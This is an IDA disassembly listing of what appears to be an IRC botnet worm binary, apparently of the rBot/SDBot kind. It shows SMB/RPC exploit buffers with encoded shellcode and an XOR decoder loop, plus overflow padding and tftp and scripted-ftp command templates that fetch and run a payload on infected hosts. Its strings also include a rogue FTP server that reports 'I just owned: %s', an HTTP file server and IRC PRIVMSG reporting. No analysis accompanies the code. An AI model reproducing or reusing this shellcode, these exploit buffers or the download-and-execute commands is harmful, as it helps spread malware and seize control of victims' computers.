		dd 9740F541h, 40414647h, 4343989Fh, 0FD4A4E4Fh,	4696FC4Fh
		dd 97474243h, 92374BFCh, 373F9F96h, 4F9841D6h, 9F4AF94Ah
		dd 9F99FC41h, 37372798h, 4899474Eh, 4E274B42h, 4A409237h
		dd 9827433Fh, 494E3F91h, 4B48484Fh, 37989Bh
dword_439E94	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+36Bo
					; sub_40E18F+3FAo
		dd 2D80800h, 97230801h,	0FF0Eh,	18400000h, 0FF000001h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 4B001F00h, 483F9F47h, 499F4941h, 4342273Fh, 9746999Bh
		dd 91279697h, 3F4E9FFDh, 37933743h, 909F4F47h, 9B374BF8h
		dd 2790994Fh, 40994E47h, 9BFC9292h, 4E9097FDh, 0F5F99047h
		dd 0FD404A9Fh, 489327D6h, 99934340h, 93FC274Ah,	49484B97h
		dd 4F4A4A99h, 43984B91h, 4E434B91h, 4242929Fh, 3F464399h
		dd 48404141h, 2740463Fh, 3F37484Ah, 27429291h, 404EF541h
		dd 27499B4Fh, 4F9F3F9Fh, 41FCF998h, 9041F840h, 374EF893h
		dd 92379143h, 4698D64Fh, 939F9843h, 9F96924Eh, 37F9974Ah
		dd 48939296h, 4E4E9F41h, 0F9D6474Ah, 40479B3Fh,	984137F8h
		dd 9BF9FD48h, 9BD69F96h, 989343FDh, 48FD4040h, 4F914F47h
		dd 99414A40h, 374E4B4Bh, 43929348h, 4B424137h, 4942FC41h
		dd 279792FCh, 484242FCh, 939B9B46h, 419B2791h, 4892484Ah
		dd 0D64E414Bh, 9BF542FCh, 4F439949h, 4392FC97h,	4191D6h
dword_439FF0	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+385o
					; sub_40E18F+414o
		dd 2D80800h, 97230801h,	0FF0Eh,	30400000h, 0FF000002h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 0FD001F00h, 424ED627h, 9897414Ah,	4B424240h, 0F5F9FD3Fh
		dd 3793403Fh, 49434091h, 404F9093h, 96474A99h, 373F92F9h
		dd 0F5D6F997h, 439F4643h, 0F5374BD6h, 4E914AD6h, 4990FD9Bh
		dd 47FC9649h, 964E4FFDh, 4F469990h, 4B43F546h, 989F97F9h
		dd 9F9992FCh, 9B424BD6h, 96404040h, 4190909Bh, 98969297h
		dd 494F4A96h, 4E434F37h, 0F993424Ah, 92939837h,	49434A3Fh
		dd 27414E92h, 40979BF8h, 47439290h, 9040964Eh, 42404F98h
		dd 0F5419040h, 96424747h, 0FD4A9F49h, 99D6F537h, 4E474F3Fh
		dd 9F90D627h, 43D69342h, 41969243h, 4BF9964Bh, 59516AF9h
		dd 74D9EED9h, 815BF424h, 0F3091373h, 0EB838E1Eh, 88F4E2FCh
		dd 0F661E137h, 63725A0Ch, 0F0665318h, 6971E10Ch, 2DAA7278h
		dd 82B25B78h, 8F61B8Fh,	11C1951Ch, 8AE4178h, 3D055718h
		dd 38601F78h, 8D228733h, 0C8896A33h, 0CB8F1339h, 0B5EA18h
dword_43A14C	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+39Fo
					; sub_40E18F+42Eo
		dd 2D80800h, 97230801h,	0FF0Eh,	48400000h, 0FF000003h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 5D001F00h, 0ECFB36D7h, 8AA4178h, 5057818h, 15D195B8h
		dd 258DF5F2h, 2DE29778h, 384D7FEFh, 4A057A28h, 5CE95C3h
		dd 0A4926E78h, 57865E78h, 7C0909Bh, 0DF714E1Fh,	61E84D95h
		dd 7EE62CC0h, 5DD12C80h, 0C2E6CE0Ch, 59B5E21Eh,	80D1C80Ch
		dd 0E40F7816h, 63DB1CFBh, 615EE1F1h, 0A47B172Ah, 5A58E1A4h
		dd 5ADD4DA0h, 5ACD4DB0h, 61E8CE0Ch, 5AE8F14Dh, 611BFF7Ah
		dd 0CEFE0457h, 6358E1A4h, 0F6DB4FE3h, 0A42A7623h, 0F6D9F7DDh
		dd 0F6DB4D25h, 406B7623h, 0F6D95775h, 5DDA4E25h, 9A5EE1A6h
		dd 0CFF7F99Bh, 0DF71498Ah, 6F5EE1A6h, 61E87A99h, 0EC077390h
		dd 20D74E99h, 6369973Fh, 386C97B7h, 0F724ED33h,	4B7033B1h
		dd 73038DDFh, 0A225B5CBh, 0BA706C9Bh, 4DFBE1E5h, 5ED5C80Ch
		dd 58DF4FA1h, 58DF1F99h, 0D9714FA6h, 0C57B39Bh,	0DF714D3Dh
		dd 3E71E199h, 5E05CE0Ch, 6D4A9D0Fh, 0F6DCC80Ch,	617623h
dword_43A2A8	dd 0CA000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+3B9o
					; sub_40E18F+448o
		dd 2D80800h, 97230801h,	80000010h, 0E0040000h, 0FFh, 2 dup(0)
		dd 80004A00h, 2004A00h,	2600h, 5C008740h, 45504950h, 5005Ch
		dd 100200h, 800000h, 0
		dd 680000h, 0
		dd 13C7001Fh, 25F6DD7Eh, 8045EE1h, 0Fh dup(8040002h), 2
		dd 0BE895Bh, 20000h, 0
		dd 20000h, 2EB0000h, 760000h, 2	dup(0)
dword_43A378	dd 30B0005h, 10h, 48h, 0		dd 16D016D0h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43A3C4	dd 3000005h, 10h, 830h,	0		dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0
		dd 1, 2	dup(0)
dword_43A3F4	dd 0FAh, 2, 0			dd 2, 0
		dd 0FAh, 2 dup(0)
dword_43A414	dd 0D959516Ah, 2474D9EEh		db 0F4h, 5Bh
; ---------------------------------------------------------------------------


loc_43A41E:				; CODE XREF: seg002:0043A428j
		xor	dword ptr [ebx+13h], 889097A8h
		sub	ebx, 0FFFFFFFCh
		loop	loc_43A41E
		sub	[ebx+6Fh], edx
		db	67h
		push	edi
		push	7CC274D4h
		frstor	byte ptr [eax+51h]
		push	1CC8776Fh
		cld
		lodsb
		mov	word ptr ds:95EB23B4h[edx*8], ds
; ---------------------------------------------------------------------------
		db 0F0h, 0A9h, 78h
		dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h
		dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h,	7CA9ACCFh
		dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h,	4C994BF1h
		dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh
		dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h
		dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh
		dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h
		dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh,	4757DDC1h
		dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h,	4157DFD9h
		dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh
		dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h
		dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h
		dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h
		dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h,	68CC4C13h
		dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E699+96o
aBindingToRpcIn	db '[+] Binding to RPC interface ... ',0Ah,0 ; DATA XREF: sub_40E7D2+1D8o
		align 4
aFailedToConnec	db '[-] Failed to connect to host !',0Ah,0 ; DATA XREF: sub_40E7D2+18Eo
		align 4
dword_43A5CC	dd 163h, 0	dword_43A5D4	dd 20804h, 0	dword_43A5DC	dd 2080Ah, 0	dword_43A5E4	dd 200F1001h, 0Ah, 1001802h, 0		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aCmdKEchoOpen_0	db 'cmd /k echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40EAA2+92o
					; sub_418D50+90o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: seg000:0041A50Eo
aEchoOpenSDOEch	db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
		db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40F168+5D7o
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_40F168+5B6o
		align 4
aFtpIJustOwnedS	db '[FTP]: I just owned: %s',0 ; DATA XREF: sub_40F168+565o
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40F168+551o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_40F168+4F4o
		align 10h
aRetr		db 'RETR',0             ; DATA XREF: sub_40F168+4DCo
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40F168+4CCo
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_40F168+4BBo
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_40F168+488o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40F168+447o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_40F168+40Eo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40F168+3E0o
		align 4
aList_0		db 'LIST',0             ; DATA XREF: sub_40F168+3CDo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_40F168+395o
		align 4
aPasv		db 'PASV',0             ; DATA XREF: sub_40F168+382o
		align 10h
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40F168+372o
aI:					; DATA XREF: sub_40F168+35Eo
					; seg002:0043FF58o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40F168+33Bo
aA:					; DATA XREF: sub_40F168+327o
					; seg002:0043FF64o
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_40F168:loc_40F471o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40F168+2FEo
		align 4
off_43BA98	dd offset dword_445750	; DATA XREF: sub_40F168+2EAo
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40F168+2DDo
		align 10h
aRest		db 'REST',0             ; DATA XREF: sub_40F168+2C9o
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40F168+2BCo
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_40F168+2A8o
		align 10h
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40F168+29Bo
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_40F168+287o
		align 10h
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_40F168+277o
		align 4
aSS_0		db '%s %s',0            ; DATA XREF: sub_40F168+251o
		align 10h
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40F168+1C9o
		align 4
unk_43BB28	db  2Dh	; -		; DATA XREF: sub_40F891+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_43BB50	db 0Dh,0Ah,0		; DATA XREF: sub_40F891+2CFo
					; sub_41AD75+F2o
		align 4
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F891+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FCEC+F6o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FCEC+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40FCEC+97o
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FCEC+83o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40FCEC:loc_40FD51o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40FCEC+5Eo
		align 10h
unk_43BD70	db  2Dh	; -		; DATA XREF: seg000:004100FDo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_35	db ' failed to start worker thread, error %d',0
		align 4
unk_43BDA8	db  2Dh	; -		; DATA XREF: seg000:00410079o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
aS_5		db '\%s',0              ; DATA XREF: seg000:0040FE9Do
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_41011E+64Eo
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41011E+633o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_41011E+618o
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41011E+589o
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41011E+561o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41011E:loc_410636o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41011E+511o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41011E+471o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41011E+434o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41011E+401o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41011E:loc_4104E0o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41011E+3BBo
		align 4
aSS_1		db '%s%s/',0            ; DATA XREF: sub_41011E+374o
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41011E+330o
					; sub_41011E+486o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_41011E+30Eo
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_41011E+2E4o
					; sub_41011E+413o
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_41011E+2BAo
aAm		db 'AM',0               ; DATA XREF: sub_41011E+290o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_41011E+285o
		align 4
a__		db '..',0               ; DATA XREF: sub_41011E+232o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41011E+1C0o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41011E+147o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41011E+12Bo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41011E+F7o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41011E+ADo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_41011E+78o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41011E+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_41088B+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
unk_43C280	db  2Dh	; -		; DATA XREF: sub_4109AC+15Eo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_36	db 'Failed to start client thread, error: <%d>.',0
unk_43C2BC	db  2Dh	; -		; DATA XREF: sub_4109AC+E9o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnecti	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_43C304	db  2Dh	; -		; DATA XREF: sub_410B3D+1AAo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_37	db 'Failed to start connection thread, error: <%d>.',0
unk_43C344	db  2Dh	; -		; DATA XREF: sub_410B3D+E1o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_0	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_43C388	db  2Dh	; -		; DATA XREF: seg000:00410FAAo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_43C3B4	db  2Dh	; -		; DATA XREF: seg000:00410F83o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
unk_43C3E0	db  2Dh	; -		; DATA XREF: seg000:00410F63o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: seg000:00410F33o
		align 4
unk_43C41C	db  2Dh	; -		; DATA XREF: seg000:00410EA2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_43C448	db  2Dh	; -		; DATA XREF: seg000:loc_41100Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_43C474	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_411020+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_43C610	db  2Dh	; -		; DATA XREF: sub_4112D7+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
